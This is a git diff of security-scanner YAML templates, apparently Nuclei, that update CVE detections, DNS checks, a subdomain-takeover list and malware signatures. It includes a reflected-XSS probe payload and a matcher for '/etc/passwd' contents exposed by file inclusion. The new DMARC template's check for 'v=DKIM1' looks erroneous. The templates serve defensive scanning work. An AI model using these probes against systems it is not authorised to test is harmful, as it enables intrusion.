-          - 'contains(body, "ORDER BY") && contains_any(body, "ProgrammingError", "DatabaseError")'
-          - 'contains_any(body, "psycopg2", "MySQLdb", "sqlite3", "cx_Oracle")'
          - 'status_code == 500'
-        condition: and
+          - 'contains_all(body, "ORDER BY", "ProgrammingError") || contains_all(body, "ORDER BY", "DatabaseError")'
+          - 'contains_any(body, "psycopg2", "MySQLdb", "sqlite3", "cx_Oracle")'

    extractors:
      - type: regex
@@ -66,4 +65,4 @@ http:
          - 'FROM\s+`([a-zA-Z_][a-zA-Z0-9_]*)`'
          - 'relation\s+([a-zA-Z_][a-zA-Z0-9_]*)'
          - "Table\\s+'[^']*\\.([a-zA-Z_][a-zA-Z0-9_]*)'"
-# digest: 490a0046304402204705d74ad6dcf0f5a9bb1ebf85e259abc97cfc30f3736c4e2799799501b510dd022076e17848bfaadabb2fa7e887138324f19c90a713231b5fc9ee5b6060b394abdf:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220781966c6bb2d374e0cfac62875f9c135d90e57506dc8e7c9fbc3a276b04965df02202b2160f1e1c22b03456a8a6845af95bc087859eaa77576dbec8aab5ebcaaaddb:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9
    cve-id: CVE-2021-45046
    cwe-id: CWE-502
-    epss-score: 0.99977
-    epss-percentile: 0.9998
+    epss-score: 0.9434
+    epss-percentile: 0.99951
  metadata:
    max-request: 1
    confidence: tenative
@@ -66,4 +66,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4a0a0047304502201b3762cd94d7077d3e322fe61c1045a80e07c1d111cc71a6075fc9ba1f184595022100dc2be6f8ae39f6801a84e41f77c752fa19f3a3fb1a10e9c1a7badada488b2474:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220454f6f323274b2f5854bb777ed303c0eea4bc1989bd36581ac679653bd4bd68c022100fce3c67a5933788bb1487636fe01650b96f20507483fb293bf5e6534e367db62:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-22965
    cwe-id: CWE-94
-    epss-score: 0.99677
-    epss-percentile: 0.99948
+    epss-score: 0.94441
+    epss-percentile: 0.99989
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -59,4 +59,4 @@ http:
        words:
          - "User-Agent: Java"
        case-insensitive: true
-# digest: 4a0a0047304502201c63e812eeb0bcbeb9c858a41f50b8c73f41e06e7c42e98090d6c0835c2230bc02210098925684d40a4ce4ad2f6cdf80e29bf6d10205a063226defc65524e5b399904f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022037cce94078d8b39e7da81784ebe327bea6b7feda8853f9944c3472047dc3a940022100a7b968f03114289d76aa31cf29ea08460d1334e6824993a23eb61abf756d7abe:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-34265
    cwe-id: CWE-89
-    epss-score: 0.73274
-    epss-percentile: 0.99392
+    epss-score: 0.92734
+    epss-percentile: 0.99739
  tags: sqli,dast,vulhub,cve,cve2022,django,vuln

 variables:
@@ -50,4 +50,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4a0a00473045022001b30a141ee254aaa0acb94b35d33ee77adf4ee135a209ce5975b7aafff87e9a022100f1eac2430af11fc8d61bbd426155540f71ff9f49037d6b881ee7989301fa2ea3:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100aac9d15a26ed5537c5ce00e5d29081ade5bdaefc407c4f13406bff5fce9c610002210092f166b95b14979edb9de2aa8e7c0874d98b8032888f33e8fdc948acf319392f:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-42889
    cwe-id: CWE-94
-    epss-score: 0.99931
-    epss-percentile: 0.99968
+    epss-score: 0.94161
+    epss-percentile: 0.99911
  metadata:
    max-request: 1
    confidence: tenative
@@ -70,4 +70,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4a0a004730450220608e0f72009f09b999c75f034bbe885b3694a0c68ba6e0eaead510bf493a9ad3022100daec500dedf90c03341c5b110bbe2c48240c19db066eed1eca976d4bd13b0b47:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c5e1819e229f86036e266c7a37c416d98714425aef2e6b8512efb04e4108ea16022100b690e6840b6d5fb82897acb4140f478b5997d0aa67d38fef85406b6051354411:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-score: 7.3
    cve-id: CVE-2024-2961
    cwe-id: CWE-787
-    epss-score: 0.8833
-    epss-percentile: 0.99752
+    epss-score: 0.9286
+    epss-percentile: 0.99755
  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln

 flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
      - type: regex
        regex:
          - "root:x:0:0"
-# digest: 4a0a004730450221008529646911e2aa9a9839746fad41ccbb4d173feb699adac86508097e50175ac302202fba7504078148bd0b1f297bafbfcd156a23065edbf63dd892560c4c986a43e1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202b290a44cf4a61f704d038aa333eafb504adfdc4a4e55b34d8d9e8b4aeca6ffe02210085ec2d53cbc22b34132c9043e1610e25b64ffa66772292ebdfe73d24a12db186:922c64590222798bb761d5b6d8e72950
@@ -35,11 +35,11 @@ http:
        name: linux
        part: body
        regex:
-          - 'root:[^:]*:\d+:\d+:'
+          - 'root:.*?:[0-9]*:[0-9]*:'

      - type: word
        name: windows
        part: body
        words:
          - 'for 16-bit app support'
-# digest: 490a0046304402206226ef9fba139006dc56d453153b5b180a77cc9b3ae66a5413cfa7e44af95f3602205b76f068bc5cf5a0f9ce05101dff58da2a842beed89bec6b60d30443db8d3d95:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e69db58569b4f4e5f60abf7e90300e73b9999127ef3b07cc6e90798e22187bdd0220062843c2ed9f731d9b4985e0b587e5f3e8ac58c29aa83a84f18d21ca4dcda0e4:922c64590222798bb761d5b6d8e72950
@@ -15,21 +15,13 @@ http:
  - pre-condition:
      - type: dsl
        dsl:
-          - 'method == "POST"'
          - 'method == "GET"'
-        condition: or

    payloads:
      reflection:
        - "'\"><{{first}}>"

    fuzzing:
-      - part: body
-        type: postfix
-        mode: single
-        fuzz:
-          - "{{url_encode(reflection)}}"
-
      - part: query
        type: postfix
        mode: single
@@ -55,4 +47,4 @@ http:
        part: content_type
        words:
          - "text/html"
-# digest: 4a0a0047304502201f71f4b45c2da5dee0ab62eb4154bc61e208d3d7c0809dd5a80d040b0f10392c022100b9431765649131e7908db1de1bf6012edf733a1422e0508b822cdc47244e6e76:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022030f20275349609941dc22dc277024f1a68a1e0e01a361d80ec923d1ad1f838ea02202ba948e17d033abf38602d49193da8e3f7b801dde81371e9377af43c6002828a:922c64590222798bb761d5b6d8e72950
@@ -1,33 +0,0 @@
-id: aaaa-fingerprint
-
-info:
-  name: AAAA Record - IPv6 Detection
-  author: rxerium
-  severity: info
-  description: |
-    An AAAA record was detected. AAAA records are used to map domain names to IPv6 addresses.
-  reference:
-    - https://www.cloudflare.com/learning/dns/dns-records/dns-aaaa-record/
-    - https://en.wikipedia.org/wiki/IPv6_address
-  classification:
-    cwe-id: CWE-200
-  metadata:
-    max-request: 1
-  tags: dns,aaaa,ipv6,discovery
-
-dns:
-  - name: "{{FQDN}}"
-    type: AAAA
-
-    matchers:
-      - type: regex
-        part: answer
-        regex:
-          - "IN\tAAAA\t(.+)$"
-
-    extractors:
-      - type: regex
-        group: 1
-        regex:
-          - "IN\tAAAA\t([0-9a-fA-F:]+)"
-# digest: 4b0a00483046022100e5d3d4b5d92a375745b2c274d72b1212999b584867f70b9cbeb53fe689d4109b0221009ac50a1b7de155b5539ca3067d016e84dbc88ed65c1e57eee901b89718ebafec:922c64590222798bb761d5b6d8e72950
@@ -2,7 +2,7 @@ id: azure-takeover-detection

 info:
  name: Microsoft Azure Takeover Detection
-  author: pdteam,zy9ard3
+  author: pdteam
  severity: high
  description: Microsoft Azure is vulnerable to subdomain takeover attacks. Subdomain takeovers are a common, high-severity threat for organizations that regularly create and delete many resources. A subdomain takeover can occur when a D>
  reference:
@@ -28,24 +28,27 @@ dns:
          - NXDOMAIN
      - type: dsl
        dsl:
-          - 'contains(cname, ".azure-api.net")'
-          - 'contains(cname, ".azure-mobile.net")'
-          - 'contains(cname, ".azurecontainer.io")'
-          - 'contains(cname, ".azurecr.io")'
-          - 'contains(cname, ".azuredatalakestore.net")'
-          - 'contains(cname, ".azurefd.net")'
-          - 'contains(cname, ".azurehdinsight.net")'
-          - 'contains(cname, ".azurewebsites.windows.net")'
-          - 'contains(cname, ".blob.core.windows.net")'
-          - 'contains(cname, ".database.windows.net")'
-          - 'contains(cname, ".redis.cache.windows.net")'
-          - 'contains(cname, ".search.windows.net")'
-          - 'contains(cname, ".servicebus.windows.net")'
-          - 'contains(cname, ".visualstudio.com")'
-          - 'contains(cname, ".web.core.windows.net")'
-
+          - 'contains(cname, "azure-api.net")'
+          - 'contains(cname, "azure-mobile.net")'
+          - 'contains(cname, "azurecontainer.io")'
+          - 'contains(cname, "azurecr.io")'
+          - 'contains(cname, "azuredatalakestore.net")'
+          - 'contains(cname, "azureedge.net")'
+          - 'contains(cname, "azurefd.net")'
+          - 'contains(cname, "azurehdinsight.net")'
+          - 'contains(cname, "azurewebsites.net")'
+          - 'contains(cname, "azurewebsites.windows.net")'
+          - 'contains(cname, "blob.core.windows.net")'
+          - 'contains(cname, "cloudapp.azure.com")'
+          - 'contains(cname, "database.windows.net")'
+          - 'contains(cname, "redis.cache.windows.net")'
+          - 'contains(cname, "search.windows.net")'
+          - 'contains(cname, "servicebus.windows.net")'
+          - 'contains(cname, "trafficmanager.net")'
+          - 'contains(cname, "visualstudio.com")'
+          - 'contains(cname, "web.core.windows.net")'
    extractors:
      - type: dsl
        dsl:
          - cname
-# digest: 4b0a00483046022100ea21a22d694a45d9a60b0516c99fff75fe6d21ef1c4ed0d47fbf1db3d3dd69cc022100ecd0145636ed5359db7041e191d866f9bf7dd5817b678c22b49be84463e6a814:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205c817606f9ab5e9a0c5123c6305e9ffcb9aca3cea193965a883b8c57fe652a22022051050dd472f9b766905aa99037d38114b9d1e3af28cf214413bcc8dd62bb2e5d:922c64590222798bb761d5b6d8e72950
@@ -17,17 +17,15 @@ dns:
  - name: "{{FQDN}}"
    type: CAA
    matchers:
-      - type: word
-        words:
-          - "CAA"
-        part: answer
+      - type: regex
+        regex:
+          - "IN\\s+CAA\\s+(.+)"

    extractors:
      - type: regex
-        part: answer
        group: 1
        regex:
          - 'issue "(.*)"'
          - 'issuewild "(.*)"'
          - 'iodef "(.*)"'
-# digest: 4b0a00483046022100b457768e899a74ac8b817b13b2fb78fa3fa4e76546df342d6696f333e283723b022100bb3a8002d61cd3840e8f4e6c1df97429cc92aa5f4a6295efa2481c5d0d8a2f5f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e4c82da722d350948af95c040abdc7c52addee398cf921ec654fd1cf5c1c758a0221008ac947ce44a10cb1238843cde9c77329e19a6803b384c6265c95fddc75e94b27:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,31 @@
+id: dmarc-validation
+
+info:
+  name: DMARC - Validation
+  author: theamanrawat
+  severity: info
+  description: |
+    Checked for the presence of a DMARC TXT record and validates its basic syntax and the policy.
+  reference:
+    - https://mxtoolbox.com/dmarc/details/dmarc-tags/dmarc-policy-options
+  tags: dns,dmarc,config,email,security
+
+dns:
+  - name: "_dmarc.{{FQDN}}"
+  
+    type: TXT
+    class: inet
+
+    recursion: true
+    retries: 3
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "v=DKIM1"
+        case-insensitive: true
+
+      - type: regex
+        regex:
+          - "p=none"
@@ -1,43 +0,0 @@
-id: dns-internal-ip-disclosure
-
-info:
-  name: Public DNS Resolving to Private IP Addresses
-  author: infosec-asish,DevamShah
-  severity: info
-  description: |
-    Detected when a public domain's DNS A records resolved to private or reserved IP addresses, potentially revealing internal network topology to external parties.
-  reference:
-    - https://tools.ietf.org/html/rfc1918
-    - https://tools.ietf.org/html/rfc6598
-    - https://cwe.mitre.org/data/definitions/200.html
-  classification:
-    cwe-id: CWE-200
-  metadata:
-    max-request: 1
-  tags: dns,exposure,misconfig,recon
-
-dns:
-  - name: "{{FQDN}}"
-    type: A
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        name: a-record-present
-        part: answer
-        regex:
-          - "IN\tA\t(.+)$"
-
-      - type: regex
-        name: rfc1918-or-loopback
-        part: answer
-        regex:
-          - "IN\tA\t(10|127|192\\.168|172\\.(1[6-9]|2[0-9]|3[01]))\\.[0-9]{1,3}\\.[0-9]{1,3}"
-
-    extractors:
-      - type: regex
-        group: 1
-        part: answer
-        regex:
-          - "IN\tA\t((?:10|127|192\\.168|172\\.(?:1[6-9]|2[0-9]|3[01]))\\.[0-9.]+)"
-# digest: 490a00463044022056f0442a5058beaa3436c221d2c3ce122ce78dcf5a164d3e0ed57063e69a91e5022018f59b4e0d6da5020e65151623fd67b9d4270166174bc820cf0be567750e4a4b:922c64590222798bb761d5b6d8e72950
@@ -21,7 +21,6 @@ dns:
        name: "Office 365"
        words:
          - "mail.protection.outlook.com"
-          - "mx.microsoft"

      - type: word
        name: "Google Apps"
@@ -117,4 +116,4 @@ dns:
        name: "Rackspace Email"
        words:
          - "emailsrvr.com"
-# digest: 490a0046304402207f77075fdb2be2ac28a3217c8f2b522439c0eb2ddcbc800de7df163df61b59fc0220621eeebb779b4171af76f274e5542c523ecd160832398413f25fedd5a12d4885:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ae0a84ce7dc6f84e6af73f23f9b5272a459dc4bf88e0338c0fc05ec2b7453e0f022014974e1946fde27ea1124923b5c6acee7df3784c84f6438ca26356c33a635f62:922c64590222798bb761d5b6d8e72950
@@ -1,49 +0,0 @@
-id: srv-service-detect
-
-info:
-  name: SRV Record Service - Detect
-  author: rxerium
-  severity: info
-  description: |
-    Detected services via SRV (Service) DNS records. SRV records defined the location of servers for specified services.
-  reference:
-    - https://www.rfc-editor.org/rfc/rfc2srv
-    - https://en.wikipedia.org/wiki/SRV_record
-  metadata:
-    max-request: 15
-    verified: true
-  tags: dns,srv,service,discovery
-
-dns:
-  - name: "{{service}}.{{FQDN}}"
-    type: SRV
-
-    payloads:
-      service:
-        - _xmpp-server._tcp
-        - _xmpp-client._tcp
-        - _xmpps-client._tcp
-        - _sip._tcp
-        - _sip._udp
-        - _sips._tcp
-        - _caldav._tcp
-        - _carddav._tcp
-        - _autodiscover._tcp
-        - _minecraft._tcp
-        - _teamspeak._tcp
-        - _ldap._tcp
-        - _ldaps._tcp
-        - _kerberos._tcp
-        - _kerberos._udp
-
-    matchers:
-      - type: word
-        part: answer
-        words:
-          - "IN\tSRV"
-
-    extractors:
-      - type: regex
-        regex:
-          - 'SRV\s+\d+\s+\d+\s+\d+\s+(.+)'
-# digest: 4a0a004730450220379e24167bc5f9af99e39f7db265709fe1c221d9dcaecefbef60723c7e3fba6a02210098bc52887cb734c4f962554a8e24516bee734a9755faf7f3bf74fc03c1ffd0d0:922c64590222798bb761d5b6d8e72950
@@ -1,33 +0,0 @@
-id: tlsa-record-detect
-
-info:
-  name: TLSA Record - DANE Detection
-  author: rxerium
-  severity: info
-  description: |
-    A TLSA record was detected. TLSA records are used for DANE (DNS-based Authentication of Named Entities) to bind TLS certificates to domain names.
-  reference:
-    - https://en.wikipedia.org/wiki/DNS-based_Authentication_of_Named_Entities
-    - https://www.internetsociety.org/resources/deploy360/dane/
-  classification:
-    cwe-id: CWE-200
-  metadata:
-    max-request: 1
-  tags: dns,tlsa,dane,ssl,discovery
-
-dns:
-  - name: "_443._tcp.{{FQDN}}"
-    type: TLSA
-
-    matchers:
-      - type: regex
-        part: answer
-        regex:
-          - "IN\tTLSA\t(.+)$"
-
-    extractors:
-      - type: regex
-        group: 1
-        regex:
-          - "IN\tTLSA\t(.+)"
-# digest: 490a00463044022079c1cfbb5ed46da7fff285b9079789ba2115ff07632e9493e2245e8e1770a10402202ac8100ddeaa84161ec3c79ac885ee57b84514622f5b69805d987c0d995f799a:922c64590222798bb761d5b6d8e72950
@@ -1,42 +0,0 @@
-id: wildcard-dns-detect
-
-info:
-  name: Wildcard DNS Configuration - Detection
-  author: rxerium
-  severity: info
-  description: |
-    A wildcard DNS configuration was detected. Wildcard DNS records can resolve all subdomains to the same IP address, which may indicate a catch-all configuration.
-  reference:
-    - https://en.wikipedia.org/wiki/Wildcard_DNS_record
-    - https://developers.cloudflare.com/dns/manage-dns-records/reference/wildcard-dns-records/
-  classification:
-    cwe-id: CWE-200
-  metadata:
-    max-request: 2
-  tags: dns,wildcard,discovery
-
-dns:
-  - name: "{{randstr}}.{{FQDN}}"
-    type: A
-
-  - name: "{{randstr}}-{{randstr}}.{{FQDN}}"
-    type: A
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "IN\tA\t"
-        part: answer
-
-      - type: regex
-        regex:
-          - "IN\tA\t([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3})"
-        part: answer
-
-    extractors:
-      - type: regex
-        group: 1
-        regex:
-          - "IN\tA\t([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3})"
-# digest: 4a0a00473045022100df69f5f0cd212f0875cfab59090d5e10c45f8494a824ba2face5a448b6f0dc1f022007f5b58a434bb0ae65ff7650bfef2f0877f31a42338535a4bd12f696b396d956:922c64590222798bb761d5b6d8e72950
@@ -1,22 +0,0 @@
-id: android-request-install-packages-permission
-
-info:
-  name: Android Dangerous Permission - REQUEST_INSTALL_PACKAGES
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    The Android application requests the REQUEST_INSTALL_PACKAGES permission, which allows the app to request installation of packages from unknown sources. This permission may increase the risk of unauthorized APK installation or abuse.
-  reference:
-    - https://developer.android.com/reference/android/Manifest.permission#REQUEST_INSTALL_PACKAGES
-  tags: file,android,permission,manifest
-
-file:
-  - extensions:
-      - xml
-
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - '<uses-permission[^>]*\w+:name\s*=\s*["\x27]android\.permission\.REQUEST_INSTALL_PACKAGES["\x27][^>]*/?\s*>'
-# digest: 490a00463044022060838b75ff5df1b8dffcf06e351ce617ef02c9093fb5dcef0e6ed798c276d64102200c54bdc230c2f4293629e0268f7366ca8d82ce2ddf87401c53e7c96239e1e404:922c64590222798bb761d5b6d8e72950
@@ -1,24 +0,0 @@
-id: pendo-api-key-exposure
-
-info:
-  name: Pendo API Key Exposure
-  author: 0x_Akoko
-  severity: medium
-  description: |
-    Detected exposure of Pendo API keys within files or API responses.
-  reference:
-    - https://support.pendo.io/hc/en-us/articles/9491198203547-Pendo-Integration-Key
-  metadata:
-    verified: true
-  tags: file,keys,token,pendo
-
-file:
-  - extensions:
-      - all
-
-    extractors:
-      - type: regex
-        group: 1
-        regex:
-          - 'pendoApiKey.*?([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12})'
-# digest: 4a0a0047304502202b784208cedfb14485f859e5216da182bdd74230b726f3bbf061444d41f4d36c022100ee392d334182d264df995cbbda5a4d306267283a2d83247419b09bb38646c835:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 4a0a0047304502204246f5415831b1c65915c9af21d79c1c857b72dc92a22dcd1374f7147341752e0221008959999f9458e23030f8b960dee4b4fe442711df974c0012750fd499f0859e01:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ec9eafe62e5fa1a1c01ec2f4e61bfa06b7174cc25cd44f801590da632bd3b02c022100c9acfe32ab0684636985176ee5d0b14943208057411f63b1158ee3707a7a371f:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
-# digest: 4b0a00483046022100e58d82d3a2a7d4f15d580a1051f898a436347b8d5943a4e2220cfa34adaf525a0221008d6339c36adc7dee3d69b48227bb10bbb85071f4dd0538557d2745518944919f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022012d6c4c593669d407b42300b00ce9fc3b6172d336fc3a17321cfd2885a3b9901022100d4164311f1cdfefe53d3aed4f02b610491c99f35dae51dc797ee334d78bd4223:922c64590222798bb761d5b6d8e72950
@@ -1,4 +1,4 @@
-id: hydracrypt-malware
+id: ransomware_windows_hydracrypt

 info:
  name: Hydracrypt Malware - Detect
@@ -20,4 +20,4 @@ file:
          - "&Start Recording"
          - "7About record"
        condition: and
-# digest: 4a0a00473045022036a45fc36b8d82306765a2fabdf2951172e5cbce02267c0cd95c8e75908cb2b1022100b86b003c13bbea53ca358829d50a4884b47eebb1e9b69126b99e491670ac6f49:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bdc7877fd7559b0c2a432fe80d5dc8d7c0f616c0031a17c6b664d2dad9e67cdf0221008b2ead0c67ffa0aaf0703bf70499b85535a639b2767de767fa139612d249cf66:922c64590222798bb761d5b6d8e72950
Author	SHA1	Message	Date
Dhiyaneshwaran	a9ad2a07cb	Update DMARC validation matchers in YAML config	2026-01-19 06:10:36 +05:30
Aman Rawat	3732fcdbe1	Create dmarc-validation.yaml	2026-01-15 14:52:30 +05:30